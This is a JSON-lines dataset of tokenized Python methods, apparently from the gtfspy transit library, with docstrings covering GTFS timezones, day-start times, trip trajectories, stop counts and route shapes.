{"signature": "def get_timezone_string(self, dt=None):", "body": "if dt is None:<EOL><INDENT>download_date = self.meta.get('<STR_LIT>')<EOL>if download_date:<EOL><INDENT>dt = datetime.datetime.strptime(download_date, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>dt = datetime.datetime.today()<EOL><DEDENT><DEDENT>loc_dt = self._timezone.localize(dt)<EOL>timezone_string = loc_dt.strftime(\"<STR_LIT>\")<EOL>return timezone_string<EOL>", "docstring": "Return the timezone of the GTFS database object as a string.\nThe assumed time when the timezone (difference) is computed\nis the download date of the file.\nThis might not be optimal in all cases.\n\nSo this function should return values like:\n    \"+0200\" or \"-1100\"\n\nParameters\n----------\ndt : datetime.datetime, optional\n    The (unlocalized) date when the timezone should be computed.\n    Defaults first to download_date, and then to the runtime date.\n\nReturns\n-------\ntimezone_string : str", "id": "f12922:c0:m16"}
{"signature": "def unixtime_seconds_to_gtfs_datetime(self, unixtime):", "body": "return datetime.datetime.fromtimestamp(unixtime, self._timezone)<EOL>", "docstring": "Convert unixtime to localized datetime\n\nParameters\n----------\nunixtime : int\n\nReturns\n-------\ngtfs_datetime: datetime.datetime\n    time localized to gtfs_datetime's timezone", "id": "f12922:c0:m17"}
{"signature": "def unlocalized_datetime_to_ut_seconds(self, unlocalized_datetime):", "body": "loc_dt = self._timezone.localize(unlocalized_datetime)<EOL>unixtime_seconds = calendar.timegm(loc_dt.utctimetuple())<EOL>return unixtime_seconds<EOL>", "docstring": "Convert datetime (in GTFS timezone) to unixtime\n\nParameters\n----------\nunlocalized_datetime : datetime.datetime\n    (tz coerced to GTFS timezone, should NOT be UTC.)\n\nReturns\n-------\noutput : int (unixtime)", "id": "f12922:c0:m18"}
{"signature": "def get_day_start_ut(self, date):", "body": "if isinstance(date, string_types):<EOL><INDENT>date = datetime.datetime.strptime(date, '<STR_LIT>')<EOL><DEDENT>date_noon = datetime.datetime(date.year, date.month, date.day, <NUM_LIT:12>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL>ut_noon = self.unlocalized_datetime_to_ut_seconds(date_noon)<EOL>return ut_noon - <NUM_LIT:12> * <NUM_LIT> * <NUM_LIT><EOL>", "docstring": "Get day start time (as specified by GTFS) as unix time in seconds\n\nParameters\n----------\ndate : str | unicode | datetime.datetime\n    something describing the date\n\nReturns\n-------\nday_start_ut : int\n    start time of the day in unixtime", "id": "f12922:c0:m19"}
{"signature": "def get_trip_trajectories_within_timespan(self, start, end, use_shapes=True, filter_name=None):", "body": "trips = []<EOL>trip_df = self.get_tripIs_active_in_range(start, end)<EOL>print(\"<STR_LIT>\" + str(len(trip_df)) + \"<STR_LIT>\")<EOL>shape_cache = {}<EOL>for row in trip_df.itertuples():<EOL><INDENT>trip_I = row.trip_I<EOL>day_start_ut = row.day_start_ut<EOL>shape_id = row.shape_id<EOL>trip = {}<EOL>name, route_type = self.get_route_name_and_type_of_tripI(trip_I)<EOL>trip['<STR_LIT>'] = int(route_type)<EOL>trip['<STR_LIT:name>'] = str(name)<EOL>if filter_name and (name != filter_name):<EOL><INDENT>continue<EOL><DEDENT>stop_lats = []<EOL>stop_lons = []<EOL>stop_dep_times = []<EOL>shape_breaks = []<EOL>stop_seqs = []<EOL>stop_time_df = self.get_trip_stop_time_data(trip_I, day_start_ut)<EOL>for stop_row in stop_time_df.itertuples():<EOL><INDENT>stop_lats.append(float(stop_row.lat))<EOL>stop_lons.append(float(stop_row.lon))<EOL>stop_dep_times.append(float(stop_row.dep_time_ut))<EOL>try:<EOL><INDENT>stop_seqs.append(int(stop_row.seq))<EOL><DEDENT>except TypeError:<EOL><INDENT>stop_seqs.append(None)<EOL><DEDENT>if use_shapes:<EOL><INDENT>try:<EOL><INDENT>shape_breaks.append(int(stop_row.shape_break))<EOL><DEDENT>except (TypeError, ValueError):<EOL><INDENT>shape_breaks.append(None)<EOL><DEDENT><DEDENT><DEDENT>if use_shapes:<EOL><INDENT>if shape_id not in shape_cache:<EOL><INDENT>shape_cache[shape_id] = shapes.get_shape_points2(self.conn.cursor(), shape_id)<EOL><DEDENT>shape_data = shape_cache[shape_id]<EOL>try:<EOL><INDENT>trip['<STR_LIT>'] = shapes.interpolate_shape_times(shape_data['<STR_LIT:d>'], shape_breaks, stop_dep_times)<EOL>trip['<STR_LIT>'] = shape_data['<STR_LIT>']<EOL>trip['<STR_LIT>'] = shape_data['<STR_LIT>']<EOL>start_break = shape_breaks[<NUM_LIT:0>]<EOL>end_break = shape_breaks[-<NUM_LIT:1>]<EOL>trip['<STR_LIT>'] = trip['<STR_LIT>'][start_break:end_break + <NUM_LIT:1>]<EOL>trip['<STR_LIT>'] = trip['<STR_LIT>'][start_break:end_break + <NUM_LIT:1>]<EOL>trip['<STR_LIT>'] = trip['<STR_LIT>'][start_break:end_break + <NUM_LIT:1>]<EOL><DEDENT>except:<EOL><INDENT>trip['<STR_LIT>'] = stop_dep_times<EOL>trip['<STR_LIT>'] = stop_lats<EOL>trip['<STR_LIT>'] = stop_lons<EOL><DEDENT><DEDENT>else:<EOL><INDENT>trip['<STR_LIT>'] = stop_dep_times<EOL>trip['<STR_LIT>'] = stop_lats<EOL>trip['<STR_LIT>'] = stop_lons<EOL><DEDENT>trips.append(trip)<EOL><DEDENT>return {\"<STR_LIT>\": trips}<EOL>", "docstring": "Get complete trip data for visualizing public transport operation based on gtfs.\n\nParameters\n----------\nstart: number\n    Earliest position data to return (in unix time)\nend: number\n    Latest position data to return (in unix time)\nuse_shapes: bool, optional\n    Whether or not shapes should be included\nfilter_name: str\n    Pick only routes having this name.\n\nReturns\n-------\ntrips: dict\n    trips['trips'] is a list whose each element (e.g. el = trips['trips'][0])\n    is a dict with the following properties:\n        el['lats'] -- list of latitudes\n        el['lons'] -- list of longitudes\n        el['times'] -- list of passage_times\n        el['route_type'] -- type of vehicle as specified by GTFS\n        el['name'] -- name of the route", "id": "f12922:c0:m20"}
{"signature": "def get_stop_count_data(self, start_ut, end_ut):", "body": "<EOL>trips_df = self.get_tripIs_active_in_range(start_ut, end_ut)<EOL>stop_counts = Counter()<EOL>for row in trips_df.itertuples():<EOL><INDENT>stops_seq = self.get_trip_stop_time_data(row.trip_I, row.day_start_ut)<EOL>for stop_time_row in stops_seq.itertuples(index=False):<EOL><INDENT>if (stop_time_row.dep_time_ut >= start_ut) and (stop_time_row.dep_time_ut <= end_ut):<EOL><INDENT>stop_counts[stop_time_row.stop_I] += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>all_stop_data = self.stops()<EOL>counts = [stop_counts[stop_I] for stop_I in all_stop_data[\"<STR_LIT>\"].values]<EOL>all_stop_data.loc[:, \"<STR_LIT:count>\"] = pd.Series(counts, index=all_stop_data.index)<EOL>return all_stop_data<EOL>", "docstring": "Get stop count data.\n\nParameters\n----------\nstart_ut : int\n    start time in unixtime\nend_ut : int\n    end time in unixtime\n\nReturns\n-------\nstopData : pandas.DataFrame\n    each row in the stopData dataFrame is a dictionary with the following elements\n        stop_I, count, lat, lon, name\n    with data types\n        (int, int, float, float, str)", "id": "f12922:c0:m21"}
{"signature": "def get_segment_count_data(self, start, end, use_shapes=True):", "body": "cur = self.conn.cursor()<EOL>trips_df = self.get_tripIs_active_in_range(start, end)<EOL>segment_counts = Counter()<EOL>seg_to_info = {}<EOL>tripI_to_seq = defaultdict(list)<EOL>for row in trips_df.itertuples():<EOL><INDENT>stops_df = self.get_trip_stop_time_data(row.trip_I, row.day_start_ut)<EOL>for i in range(len(stops_df) - <NUM_LIT:1>):<EOL><INDENT>(stop_I, dep_time_ut, s_lat, s_lon, s_seq, shape_break) = stops_df.iloc[i]<EOL>(stop_I_n, dep_time_ut_n, s_lat_n, s_lon_n, s_seq_n, shape_break_n) = stops_df.iloc[i + <NUM_LIT:1>]<EOL>if (dep_time_ut >= start) and (dep_time_ut_n <= end):<EOL><INDENT>seg = (stop_I, stop_I_n)<EOL>segment_counts[seg] += <NUM_LIT:1><EOL>if seg not in seg_to_info:<EOL><INDENT>seg_to_info[seg] = {<EOL>u\"<STR_LIT>\": row.trip_I,<EOL>u\"<STR_LIT>\": [s_lat, s_lat_n],<EOL>u\"<STR_LIT>\": [s_lon, s_lon_n],<EOL>u\"<STR_LIT>\": row.shape_id,<EOL>u\"<STR_LIT>\": [s_seq, s_seq_n],<EOL>u\"<STR_LIT>\": [shape_break, shape_break_n]<EOL>}<EOL>tripI_to_seq[row.trip_I].append(seg)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>stop_names = {}<EOL>for (stop_I, stop_J) in segment_counts.keys():<EOL><INDENT>for s in [stop_I, stop_J]:<EOL><INDENT>if s not in stop_names:<EOL><INDENT>stop_names[s] = self.stop(s)[u'<STR_LIT:name>'].values[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>seg_data = []<EOL>for seg, count in segment_counts.items():<EOL><INDENT>segInfo = seg_to_info[seg]<EOL>shape_breaks = segInfo[u\"<STR_LIT>\"]<EOL>seg_el = {}<EOL>if use_shapes and shape_breaks and shape_breaks[<NUM_LIT:0>] and shape_breaks[<NUM_LIT:1>]:<EOL><INDENT>shape = shapes.get_shape_between_stops(<EOL>cur,<EOL>segInfo[u'<STR_LIT>'],<EOL>shape_breaks=shape_breaks<EOL>)<EOL>seg_el[u'<STR_LIT>'] = segInfo[u'<STR_LIT>'][:<NUM_LIT:1>] + shape[u'<STR_LIT>'] + segInfo[u'<STR_LIT>'][<NUM_LIT:1>:]<EOL>seg_el[u'<STR_LIT>'] = segInfo[u'<STR_LIT>'][:<NUM_LIT:1>] + shape[u'<STR_LIT>'] + segInfo[u'<STR_LIT>'][<NUM_LIT:1>:]<EOL><DEDENT>else:<EOL><INDENT>seg_el[u'<STR_LIT>'] = segInfo[u'<STR_LIT>']<EOL>seg_el[u'<STR_LIT>'] = segInfo[u'<STR_LIT>']<EOL><DEDENT>seg_el[u'<STR_LIT:name>'] = stop_names[seg[<NUM_LIT:0>]] + u\"<STR_LIT:->\" + stop_names[seg[<NUM_LIT:1>]]<EOL>seg_el[u'<STR_LIT:count>'] = count<EOL>seg_data.append(seg_el)<EOL><DEDENT>return seg_data<EOL>", "docstring": "Get segment data including PTN vehicle counts per segment that are\nfully _contained_ within the interval (start, end)\n\nParameters\n----------\nstart : int\n    start time of the simulation in unix time\nend : int\n    end time of the simulation in unix time\nuse_shapes : bool, optional\n    whether to include shapes (if available)\n\nReturns\n-------\nseg_data : list\n    each element in the list is a dict containing keys:\n        \"trip_I\", \"lats\", \"lons\", \"shape_id\", \"stop_seqs\", \"shape_breaks\"", "id": "f12922:c0:m22"}
{"signature": "def get_all_route_shapes(self, use_shapes=True):", "body": "cur = self.conn.cursor()<EOL>query = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\"<EOL>data = pd.read_sql_query(query, self.conn)<EOL>routeShapes = []<EOL>for i, row in enumerate(data.itertuples()):<EOL><INDENT>datum = {\"<STR_LIT:name>\": str(row.name), \"<STR_LIT:type>\": int(row.type), \"<STR_LIT>\": row.route_I, \"<STR_LIT>\": str(row.agency_id),<EOL>\"<STR_LIT>\": str(row.agency_name)}<EOL>if use_shapes and row.shape_id:<EOL><INDENT>shape = shapes.get_shape_points2(cur, row.shape_id)<EOL>lats = shape['<STR_LIT>']<EOL>lons = shape['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>stop_shape = self.get_trip_stop_coordinates(row.trip_I)<EOL>lats = list(stop_shape['<STR_LIT>'])<EOL>lons = list(stop_shape['<STR_LIT>'])<EOL><DEDENT>datum['<STR_LIT>'] = [float(lat) for lat in lats]<EOL>datum['<STR_LIT>'] = [float(lon) for lon in lons]<EOL>routeShapes.append(datum)<EOL><DEDENT>return routeShapes<EOL>", "docstring": "Get the shapes of all routes.\n\nParameters\n----------\nuse_shapes : bool, optional\n    by default True (i.e. use shapes as the name of the function indicates)\n    if False (fall back to lats and longitudes)\n\nReturns\n-------\nrouteShapes: list of dicts that should have the following keys\n    name, type, agency, lats, lons\n    with types\n    list, list, str, list, list", "id": "f12922:c0:m23"}
{"signature": "def get_tripIs_active_in_range(self, start, end):", "body": "to_select = \"<STR_LIT>\"<EOL>query = \"<STR_LIT>\" + to_select +\"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\".format(start_ut=start, end_ut=end)<EOL>return pd.read_sql_query(query, self.conn)<EOL>", "docstring": "Obtain from the (standard) GTFS database, list of trip_IDs (and other trip_related info)\nthat are active between given 'start' and 'end' times.\n\nThe start time of a trip is determined by the departure time at the last stop of the trip.\nThe end time of a trip is determined by the arrival time at the last stop of the trip.\n\nParameters\n----------\nstart, end : int\n    the start and end of the time interval in unix time seconds\n\nReturns\n-------\nactive_trips : pandas.DataFrame with columns\n    trip_I, day_start_ut, start_time_ut, end_time_ut, shape_id", "id": "f12922:c0:m24"}
{"signature": "def get_trip_counts_per_day(self):", "body": "query = \"<STR_LIT>\"<EOL>trip_counts_per_day = pd.read_sql_query(query, self.conn, index_col=\"<STR_LIT:date>\")<EOL>max_day = trip_counts_per_day.index.max()<EOL>min_day = trip_counts_per_day.index.min()<EOL>min_date = datetime.datetime.strptime(min_day, '<STR_LIT>')<EOL>max_date = datetime.datetime.strptime(max_day, '<STR_LIT>')<EOL>num_days = (max_date - min_date).days<EOL>dates = [min_date + datetime.timedelta(days=x) for x in range(num_days + <NUM_LIT:1>)]<EOL>trip_counts = []<EOL>date_strings = []<EOL>for date in dates:<EOL><INDENT>date_string = date.strftime(\"<STR_LIT>\")<EOL>date_strings.append(date_string)<EOL>try:<EOL><INDENT>value = trip_counts_per_day.loc[date_string, '<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>trip_counts.append(value)<EOL><DEDENT>for date_string in trip_counts_per_day.index:<EOL><INDENT>assert date_string in date_strings<EOL><DEDENT>data = {\"<STR_LIT:date>\": dates, \"<STR_LIT>\": date_strings, \"<STR_LIT>\": trip_counts}<EOL>return pd.DataFrame(data)<EOL>", "docstring": "Get trip counts per day between the start and end day of the feed.\n\nReturns\n-------\ntrip_counts : pandas.DataFrame\n    Has columns \"date_str\" (dtype str) \"trip_counts\" (dtype int)", "id": "f12922:c0:m25"}
{"signature": "def get_suitable_date_for_daily_extract(self, date=None, ut=False):", "body": "daily_trips = self.get_trip_counts_per_day()<EOL>max_daily_trips = daily_trips[u'<STR_LIT>'].max(axis=<NUM_LIT:0>)<EOL>if date in daily_trips[u'<STR_LIT>']:<EOL><INDENT>start_index = daily_trips[daily_trips[u'<STR_LIT>'] == date].index.tolist()[<NUM_LIT:0>]<EOL>daily_trips[u'<STR_LIT>'] = daily_trips.index<EOL>daily_trips[u'<STR_LIT>'] = abs(start_index - daily_trips.index)<EOL>daily_trips = daily_trips.sort_values(by=[u'<STR_LIT>', u'<STR_LIT>']).reindex()<EOL><DEDENT>for row in daily_trips.itertuples():<EOL><INDENT>if row.trip_counts >= <NUM_LIT> * max_daily_trips:<EOL><INDENT>if ut:<EOL><INDENT>return self.get_day_start_ut(row.date_str)<EOL><DEDENT>else:<EOL><INDENT>return row.date_str<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parameters\n----------\ndate : str\nut : bool\n    Whether to return the date as a string or as a an int (seconds after epoch).\n\nReturns\n-------\nSelects suitable date for daily extract\nIterates trough the available dates forward and backward from the download date accepting the first day that has\nat least 90 percent of the number of trips of the maximum date. The condition can be changed to something else.\nIf the download date is out of range, the process will look through the dates from first to last.", "id": "f12922:c0:m26"}
{"signature": "def get_weekly_extract_start_date(self, ut=False, weekdays_at_least_of_max=<NUM_LIT>,<EOL>verbose=False, download_date_override=None):", "body": "daily_trip_counts = self.get_trip_counts_per_day()<EOL>if isinstance(download_date_override, str):<EOL><INDENT>search_start_date = datetime.datetime.strptime(download_date_override, \"<STR_LIT>\")<EOL><DEDENT>elif isinstance(download_date_override, datetime.datetime):<EOL><INDENT>search_start_date = download_date_override<EOL><DEDENT>else:<EOL><INDENT>assert download_date_override is None<EOL>download_date_str = self.meta['<STR_LIT>']<EOL>if download_date_str == \"<STR_LIT>\":<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" + self.get_weekly_extract_start_date.__name__ +<EOL>\"<STR_LIT>\")<EOL>search_start_date = daily_trip_counts['<STR_LIT:date>'].min()<EOL><DEDENT>else:<EOL><INDENT>search_start_date = datetime.datetime.strptime(download_date_str, \"<STR_LIT>\")<EOL><DEDENT><DEDENT>feed_min_date = daily_trip_counts['<STR_LIT:date>'].min()<EOL>feed_max_date = daily_trip_counts['<STR_LIT:date>'].max()<EOL>assert (feed_max_date - feed_min_date >= datetime.timedelta(days=<NUM_LIT:7>)),\"<STR_LIT>\"<EOL>next_monday_from_search_start_date = search_start_date + timedelta(days=(<NUM_LIT:7> - search_start_date.weekday()))<EOL>if not (feed_min_date <= next_monday_from_search_start_date <= feed_max_date):<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>next_monday_from_search_start_date = feed_min_date + timedelta(days=(<NUM_LIT:7> - feed_min_date.weekday()))<EOL><DEDENT>max_trip_count = daily_trip_counts['<STR_LIT>'].quantile(<NUM_LIT>)<EOL>threshold = weekdays_at_least_of_max * max_trip_count<EOL>threshold_fulfilling_days = daily_trip_counts['<STR_LIT>'] > threshold<EOL>search_start_monday_index = daily_trip_counts[daily_trip_counts['<STR_LIT:date>'] == next_monday_from_search_start_date].index[<NUM_LIT:0>]<EOL>while_loop_monday_index = search_start_monday_index<EOL>while len(daily_trip_counts.index) >= while_loop_monday_index + <NUM_LIT:7>:<EOL><INDENT>if all(threshold_fulfilling_days[while_loop_monday_index:while_loop_monday_index + <NUM_LIT:5>]):<EOL><INDENT>row = daily_trip_counts.iloc[while_loop_monday_index]<EOL>if ut:<EOL><INDENT>return self.get_day_start_ut(row.date_str)<EOL><DEDENT>else:<EOL><INDENT>return row['<STR_LIT:date>']<EOL><DEDENT><DEDENT>while_loop_monday_index += <NUM_LIT:7><EOL><DEDENT>while_loop_monday_index = search_start_monday_index - <NUM_LIT:7><EOL>while while_loop_monday_index >= <NUM_LIT:0>:<EOL><INDENT>if all(threshold_fulfilling_days[while_loop_monday_index:while_loop_monday_index + <NUM_LIT:5>]):<EOL><INDENT>row = daily_trip_counts.iloc[while_loop_monday_index]<EOL>if ut:<EOL><INDENT>return self.get_day_start_ut(row.date_str)<EOL><DEDENT>else:<EOL><INDENT>return row['<STR_LIT:date>']<EOL><DEDENT><DEDENT>while_loop_monday_index -= <NUM_LIT:7><EOL><DEDENT>raise RuntimeError(\"<STR_LIT>\")<EOL>", "docstring": "Find a suitable weekly extract start date (monday).\nThe goal is to obtain as 'usual' week as possible.\nThe weekdays of the weekly extract week should contain\nat least 0.9 of the total maximum of trips.\n\nParameters\n----------\nut: return unixtime?\nweekdays_at_least_of_max: float\n\ndownload_date_override: str, semi-optional\n    Download-date in format %Y-%m-%d, weeks close to this.\n    Overrides the (possibly) recorded downloaded date in the database\n\nReturns\n-------\ndate: int or str\n\nRaises\n------\nerror: RuntimeError\n    If no download date could be found.", "id": "f12922:c0:m27"}
{"signature": "def get_spreading_trips(self, start_time_ut, lat, lon,<EOL>max_duration_ut=<NUM_LIT:4> * <NUM_LIT>,<EOL>min_transfer_time=<NUM_LIT:30>,<EOL>use_shapes=False):", "body": "from gtfspy.spreading.spreader import Spreader<EOL>spreader = Spreader(self, start_time_ut, lat, lon, max_duration_ut, min_transfer_time, use_shapes)<EOL>return spreader.spread()<EOL>", "docstring": "Starting from a specific point and time, get complete single source\nshortest path spreading dynamics as trips, or \"events\".\n\nParameters\n----------\nstart_time_ut: number\n    Start time of the spreading.\nlat: float\n    latitude of the spreading seed location\nlon: float\n    longitude of the spreading seed location\nmax_duration_ut: int\n    maximum duration of the spreading process (in seconds)\nmin_transfer_time : int\n    minimum transfer time in seconds\nuse_shapes : bool\n    whether to include shapes\n\nReturns\n-------\ntrips: dict\n    trips['trips'] is a list whose each element (e.g. el = trips['trips'][0])\n    is a dict with the following properties:\n        el['lats'] : list of latitudes\n        el['lons'] : list of longitudes\n        el['times'] : list of passage_times\n        el['route_type'] : type of vehicle as specified by GTFS, or -1 if walking\n        el['name'] : name of the route", "id": "f12922:c0:m28"}
{"signature": "def get_closest_stop(self, lat, lon):", "body": "cur = self.conn.cursor()<EOL>min_dist = float(\"<STR_LIT>\")<EOL>min_stop_I = None<EOL>rows = cur.execute(\"<STR_LIT>\")<EOL>for stop_I, lat_s, lon_s in rows:<EOL><INDENT>dist_now = wgs84_distance(lat, lon, lat_s, lon_s)<EOL>if dist_now < min_dist:<EOL><INDENT>min_dist = dist_now<EOL>min_stop_I = stop_I<EOL><DEDENT><DEDENT>return min_stop_I<EOL>", "docstring": "Get closest stop to a given location.\n\nParameters\n----------\nlat: float\n    latitude coordinate of the location\nlon: float\n    longitude coordinate of the location\n\nReturns\n-------\nstop_I: int\n    the index of the stop in the database", "id": "f12922:c0:m29"}
{"signature": "def get_route_name_and_type_of_tripI(self, trip_I):", "body": "cur = self.conn.cursor()<EOL>results = cur.execute(\"<STR_LIT>\"<EOL>.format(trip_I=trip_I))<EOL>name, rtype = results.fetchone()<EOL>return u\"<STR_LIT:%s>\" % str(name), int(rtype)<EOL>", "docstring": "Get route short name and type\n\nParameters\n----------\ntrip_I: int\n    short trip index created when creating the database\n\nReturns\n-------\nname: str\n    short name of the route, eg. 195N\ntype: int\n    route_type according to the GTFS standard", "id": "f12922:c0:m32"}
{"signature": "def get_route_name_and_type(self, route_I):", "body": "cur = self.conn.cursor()<EOL>results = cur.execute(\"<STR_LIT>\", (route_I,))<EOL>name, rtype = results.fetchone()<EOL>return name, int(rtype)<EOL>", "docstring": "Get route short name and type\n\nParameters\n----------\nroute_I: int\n    route index (database specific)\n\nReturns\n-------\nname: str\n    short name of the route, eg. 195N\ntype: int\n    route_type according to the GTFS standard", "id": "f12922:c0:m33"}
{"signature": "def get_trip_stop_coordinates(self, trip_I):", "body": "query = \"\"\"<STR_LIT>\"\"\".format(trip_I=trip_I)<EOL>stop_coords = pd.read_sql(query, self.conn)<EOL>return stop_coords<EOL>", "docstring": "Get coordinates for a given trip_I\n\nParameters\n----------\ntrip_I : int\n    the integer id of the trip\n\nReturns\n-------\nstop_coords : pandas.DataFrame\n    with columns \"lats\" and \"lons\"", "id": "f12922:c0:m34"}
{"signature": "def get_trip_stop_time_data(self, trip_I, day_start_ut):", "body": "to_select = \"<STR_LIT>\" + str(day_start_ut) + \"<STR_LIT>\"<EOL>str_to_run = \"<STR_LIT>\" + to_select + \"\"\"<STR_LIT>\"\"\"<EOL>str_to_run = str_to_run.format(trip_I=trip_I)<EOL>return pd.read_sql_query(str_to_run, self.conn)<EOL>", "docstring": "Obtain from the (standard) GTFS database, trip stop data\n(departure time in ut, lat, lon, seq, shape_break) as a pandas DataFrame\n\nSome filtering could be applied here, if only e.g. departure times\ncorresponding within some time interval should be considered.\n\nParameters\n----------\ntrip_I : int\n    integer index of the trip\nday_start_ut : int\n    the start time of the day in unix time (seconds)\n\nReturns\n-------\ndf: pandas.DataFrame\n    df has the following columns\n    'departure_time_ut, lat, lon, seq, shape_break'", "id": "f12922:c0:m35"}
{"signature": "def get_events_by_tripI_and_dsut(self, trip_I, day_start_ut,<EOL>start_ut=None, end_ut=None):", "body": "<EOL>assert day_start_ut <= start_ut<EOL>assert day_start_ut <= end_ut<EOL>assert start_ut <= end_ut<EOL>events = []<EOL>if not self.tripI_takes_place_on_dsut(trip_I, day_start_ut):<EOL><INDENT>return events<EOL><DEDENT>query = \"\"\"<STR_LIT>\"\"\"<EOL>params = [day_start_ut, day_start_ut,<EOL>trip_I]<EOL>if start_ut:<EOL><INDENT>query += \"<STR_LIT>\"<EOL>params += [start_ut, day_start_ut]<EOL><DEDENT>if end_ut:<EOL><INDENT>query += \"<STR_LIT>\"<EOL>params += [end_ut, day_start_ut]<EOL><DEDENT>query += \"<STR_LIT>\"<EOL>cur = self.conn.cursor()<EOL>rows = cur.execute(query, params)<EOL>stop_data = list(rows)<EOL>for i in range(len(stop_data) - <NUM_LIT:1>):<EOL><INDENT>event = {<EOL>\"<STR_LIT>\": stop_data[i][<NUM_LIT:0>],<EOL>\"<STR_LIT>\": stop_data[i + <NUM_LIT:1>][<NUM_LIT:0>],<EOL>\"<STR_LIT>\": stop_data[i][<NUM_LIT:2>],<EOL>\"<STR_LIT>\": stop_data[i + <NUM_LIT:1>][<NUM_LIT:1>]<EOL>}<EOL>events.append(event)<EOL><DEDENT>return events<EOL>", "docstring": "Get trip data as a list of events (i.e. dicts).\n\nParameters\n----------\ntrip_I : int\n    shorthand index of the trip.\nday_start_ut : int\n    the start time of the day in unix time (seconds)\nstart_ut : int, optional\n    consider only events that start after this time\n    If not specified, this filtering is not applied.\nend_ut : int, optional\n    Consider only events that end before this time\n    If not specified, this filtering is not applied.\n\nReturns\n-------\nevents: list of dicts\n    each element contains the following data:\n        from_stop: int (stop_I)\n        to_stop: int (stop_I)\n        dep_time_ut: int (in unix time)\n        arr_time_ut: int (in unix time)", "id": "f12922:c0:m36"}
{"signature": "def tripI_takes_place_on_dsut(self, trip_I, day_start_ut):", "body": "query = \"<STR_LIT>\"<EOL>params = (trip_I, day_start_ut)<EOL>cur = self.conn.cursor()<EOL>rows = list(cur.execute(query, params))<EOL>if len(rows) == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>assert len(rows) == <NUM_LIT:1>, '<STR_LIT>'<EOL>return True<EOL><DEDENT>", "docstring": "Check that a trip takes place during a day\n\nParameters\n----------\ntrip_I : int\n    index of the trip in the gtfs data base\nday_start_ut : int\n    the starting time of the day in unix time (seconds)\n\nReturns\n-------\ntakes_place: bool\n    boolean value describing whether the trip takes place during\n    the given day or not", "id": "f12922:c0:m37"}
{"signature": "def day_start_ut(self, ut):", "body": "<EOL>old_tz = self.set_current_process_time_zone()<EOL>ut = time.mktime(time.localtime(ut)[:<NUM_LIT:3>] + (<NUM_LIT:12>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>)) - <NUM_LIT><EOL>set_process_timezone(old_tz)<EOL>return ut<EOL>", "docstring": "Convert unixtime to unixtime on GTFS start-of-day.\n\nGTFS defines the start of a day as \"noon minus 12 hours\" to solve\nmost DST-related problems. This means that on DST-changing days,\nthe day start isn't midnight. This function isn't idempotent.\nRunning it twice on the \"move clocks backwards\" day will result in\nbeing one day too early.\n\nParameters\n----------\nut: int\n    Unixtime\n\nReturns\n-------\nut: int\n    Unixtime corresponding to start of day", "id": "f12922:c0:m38"}
{"signature": "def increment_day_start_ut(self, day_start_ut, n_days=<NUM_LIT:1>):", "body": "old_tz = self.set_current_process_time_zone()<EOL>day0 = time.localtime(day_start_ut + <NUM_LIT>)  <EOL>dayN = time.mktime(day0[:<NUM_LIT:2>] +  <EOL>(day0[<NUM_LIT:2>] + n_days,) +  <EOL>(<NUM_LIT:12>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>)) - <NUM_LIT>  <EOL>set_process_timezone(old_tz)<EOL>return dayN<EOL>", "docstring": "Increment the GTFS-definition of \"day start\".\n\n        Parameters\n        ----------\n        day_start_ut : int\n            unixtime of the previous start of day.  If this time is between\n            12:00 or greater, there *will* be bugs.  To solve this, run the\n            input through day_start_ut first.\n        n_days: int\n            number of days to increment", "id": "f12922:c0:m39"}
{"signature": "def _get_possible_day_starts(self, start_ut, end_ut, max_time_overnight=None):", "body": "if max_time_overnight is None:<EOL><INDENT>max_time_overnight = <NUM_LIT:7> * <NUM_LIT> * <NUM_LIT><EOL><DEDENT>assert start_ut < end_ut<EOL>start_day_ut = self.day_start_ut(start_ut)<EOL>start_day_ds = start_ut - start_day_ut<EOL>end_day_ut = self.day_start_ut(end_ut)<EOL>if start_day_ds < max_time_overnight:<EOL><INDENT>start_day_ut = self.increment_day_start_ut(start_day_ut, n_days=-<NUM_LIT:1>)<EOL><DEDENT>day_start_times_ut = [start_day_ut]<EOL>while day_start_times_ut[-<NUM_LIT:1>] < end_day_ut:<EOL><INDENT>day_start_times_ut.append(self.increment_day_start_ut(day_start_times_ut[-<NUM_LIT:1>]))<EOL><DEDENT>start_times_ds = []<EOL>end_times_ds = []<EOL>for dsut in day_start_times_ut:<EOL><INDENT>day_start_ut = max(<NUM_LIT:0>, start_ut - dsut)<EOL>start_times_ds.append(day_start_ut)<EOL>day_end_ut = end_ut - dsut<EOL>end_times_ds.append(day_end_ut)<EOL><DEDENT>return day_start_times_ut, start_times_ds, end_times_ds<EOL>", "docstring": "Get all possible day start times between start_ut and end_ut\nCurrently this function is used only by get_tripIs_within_range_by_dsut\n\nParameters\n----------\nstart_ut : list<int>\n    start time in unix time\nend_ut : list<int>\n    end time in unix time\nmax_time_overnight : list<int>\n    the maximum length of time that a trip can take place on\n    during the next day (i.e. after midnight run times like 25:35)\n\nReturns\n-------\nday_start_times_ut : list\n    list of ints (unix times in seconds) for returning all possible day\n    start times\nstart_times_ds : list\n    list of ints (unix times in seconds) stating the valid start time in\n    day seconds\nend_times_ds : list\n    list of ints (unix times in seconds) stating the valid end times in\n    day_seconds", "id": "f12922:c0:m40"}
